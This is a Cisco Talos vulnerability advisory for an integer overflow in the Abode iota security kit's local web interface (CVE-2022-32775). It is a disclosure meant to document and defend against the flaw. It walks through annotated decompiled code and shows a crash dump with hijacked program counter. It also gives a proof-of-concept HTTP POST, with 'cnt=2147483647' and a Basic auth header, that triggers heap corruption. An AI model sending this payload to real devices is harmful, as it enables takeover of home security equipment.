Talos Vulnerability Report

TALOS-2022-1564

Abode Systems, Inc. iota All-In-One Security Kit web interface /action/ipcamRecordPost integer overflow vulnerability

OCTOBER 20, 2022

CVE NUMBER

CVE-2022-32775

SUMMARY

An integer overflow vulnerability exists in the web interface /action/ipcamRecordPost functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted HTTP request can lead to memory corruption. An attacker can make an authenticated HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

abode systems, inc. iota All-In-One Security Kit 6.9X
abode systems, inc. iota All-In-One Security Kit 6.9Z

PRODUCT URLS

iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit

CVSSV3 SCORE

9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-190 - Integer Overflow or Wraparound

DETAILS

The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, WiFi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.

The Abode iota device contains a disabled-by-default local web interface that enables an authenticated user to interact with the device. When the `WebServerEnable` configuration parameter is enabled, the features exposed by this web interface are numerous. We are not aware of a method to enable the web server that we believe is intended for use by end-users, though TALOS-2022-1552 or TALOS-2022-1553 would allow a remote, unauthenticated attacker to enable the web interface.

Of note for this report is the function associated with HTTP requests destined for `/action/ipcamRecordPost`. The function responsible for handling the request is located at offset `0x1BC91C` of the `/root/hpgw` binary included in firmware version 6.9Z. This feature allows an authenticated user to delete historical snapshots and recordings from the device SD card.

For reference, the relevant portions of the decompilation of this function are included below, with annotations.

```
int __fastcall web_ipcam_record_post(mg_connection *conn, mg_request_info *ri)
{
  int payload_len;
  size_t initial_payload_len;
  const char *err_str;
  int num_params;
  char *first_param;
  char *next_param;
  int param_size;
  size_t calculated_size;
  char *buffer;
  char *dest;
  char *elem;
  const char *prefix;
  const char *task;
  int uptime;
  char *state;
  char payload[256];
  char working_buffer[256];
  char decoded_elem[256];

  buffer = 0;

  // [1] Extract up to 255 bytes from the HTTP request and store it to `payload`
  payload_len = http_collect_payload(conn, ri, payload, 255);
  payload[payload_len] = 0;
  initial_payload_len = strlen(payload);

  // [2] The payload *must* start with `cnt=`
  if ( !startswith(payload, "cnt=") )
  {
    err_str = strtable_get("WEB_ERR_OPERATION_ERR", 21);
    vsnprintf_nullterm(working_buffer, 0xFFu, "%s (%d)", err_str, 1);
    return web_error(conn, 0, working_buffer);
  }

  // [3] `cnt` represents the number of filenames to expect in the payload
  //      extract the integer following `cnt=` using atoi
  num_elems = atoi(&payload[4]);

  // [4] A check occurs to ensure that `atoi` did not return an error
  // but no check occurs to see if the value is dangerously large
  if ( num_elems <= 0 )
  {
    err_str = strtable_get("WEB_ERR_ITEM_NOT_EXIST", 22);
    return web_error(conn, 0, err_str);
  }

  buffer = payload;

  // [4] In the event that the amount of data initially read from the HTTP request
  // was 255 bytes (the amount requested at [1]) then there is likely more data to
be parsed.
  // This conditional is responsible for allocating and extracting the remainder of
the data.
  if ( payload_len == 255 )
  {
    // [5] First, identify the length of the first key=value pair by counting the
```

```
number of bytes
    // between the first and second ampersand. If it can't be identified, default to
40 bytes.
    first_elem = strchr(payload, '&');
    if ( first_elem && (next_elem = strchr(first_elem + 1, '&')) != 0 )
      elem_size = next_elem - first_elem + 1;
    else
      elem_size = 40;

    // [6] Assume that every key/value pair is no larger than the first and allocate
    // a big enough chunk of memory to hold them all
    calculated_size = elem_size * (num_elems + 1);
    buffer = (char *)malloc(calculated_size);

    if ( !buffer )
    {
      err_str = strtable_get("WEB_ERR_OPERATION_ERR", 21);
      vsnprintf_nullterm(working_buffer, 0xFFu, "%s (%d)", err_str, 2);
      return web_error(conn, 0, working_buffer);
    }

    // [7] Copy the initial payload in to the buffer
    dest = &buffer[initial_payload_len];
    strcpy(buffer, payload);

    // [8] Attempt to extract the remainder of the request into the buffer
    remainder = calculated_size - initial_payload_len;
    n = http_collect_payload(conn, ri, &buffer[initial_payload_len], remainder)
    dest[n] = 0;
  }
  ...
}
```

The function operates by `[1]` extracting up to the first 255 bytes of the request body. The function `[2]` requires that the first four bytes of the POST body must be `cnt=` followed by a number indicating how many filenames are being submitted for deletion. The function relies on the use of `atoi` at `[3]` to convert the string immediately following `cnt=` into an integer. From there, we must convince the function to enter the conditional gated at `[4]` by ensuring the body of our HTTP request is at least 256 bytes long, so that the call at `[1]` returns the provided maximum value of 255.

At this point, the function will need to allocate a buffer from the heap that it can use instead of the stack-allocated buffer it was previously relying on. It calculates the size of this buffer at `[5]` and `[6]` by identifying the distance between the first pair of ampersands (assumed to be the length of the first `key=value` pair after `cnt`), assuming that all other `key=value` pairs will be no larger than the first. It then multiplies this length by the number of pairs provided in `cnt` and allocates based on that. At `[7]` the original copy of the request located on the stack is `strcpy`'d into the heap buffer, and at `[8]` the remaining bytes are requested with the heap-allocated `buffer` variable supplied as the destination.

The use of `atoi` at `[3]` allows an attacker to supply numbers from 0 to SIGNED_MAX_INT (0x7FFFFFFF), and no check occurs to ensure that the `cnt` value is not maliciously large. Supplying a significantly large number can cause a very large allocation, but more dangerously it can cause the calculation at `[5]` to overflow when multiplying `num_elems` by `atoi(cnt)`. The multiplication of a significantly large `atoi(cnt)` by an attacker-controlled `elem_size` can easily overflow the 32-bit integer type and result in very small allocations occuring at `[6]`.

Supplying `cnt=2147483647&AAAAAA...` will cause a call of `malloc(0)` which results in an allocation of 16 bytes. Then, the original 255 bytes of the payload are `strcpy`'d into the 16-byte heap-allocated buffer. After that, any remaining data will also be copied, resulting in an exploitable heap corruption.

Crash Information

We were fortunate enough during testing to cause a heap-corruption that resulted in attacker control of the program counter.

```
Thread 37 "hpgw" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 210.341]
0x41414140 in ?? ()

──────────────────────────────────────────────────────────────────────── registers ────
$r0  : 0x800
$r1  : 0xb4
$r2  : 0x0
$r3  : 0x0
$r4  : 0x00437c38  ?  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r5  : 0x41414141
$r6  : 0x800
$r7  : 0x0
$r8  : 0x0
$r9  : 0x00405208  ?  0x0007
$r10 : 0x66
$r11 : 0x6f
$r12 : 0x41414141
$sp  : 0x7157dd40  ?  "8|C"
$lr  : 0x001cf004  ?   str r0,  [r0,  r0]
$pc  : 0x41414140
$cpsr: [NEGATIVE zero carry overflow interrupt fast THUMB]

──────────────────────────────────────────────────────────────── code:arm:THUMB ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414140
──────────────────────────────────────────────────────────────────────────────────
```

Exploit Proof of Concept

```
POST /action/ipcamRecordPost HTTP/1.1
Host: 10.1.1.201
Authorization: Basic YWJvZGVzZXJ2aWNlMTU6MTIzNDU2Nzg5
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
ng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 449

cnt=2147483647&a=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
```

TIMELINE

2022-07-14 - Vendor Disclosure

2022-10-20 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.
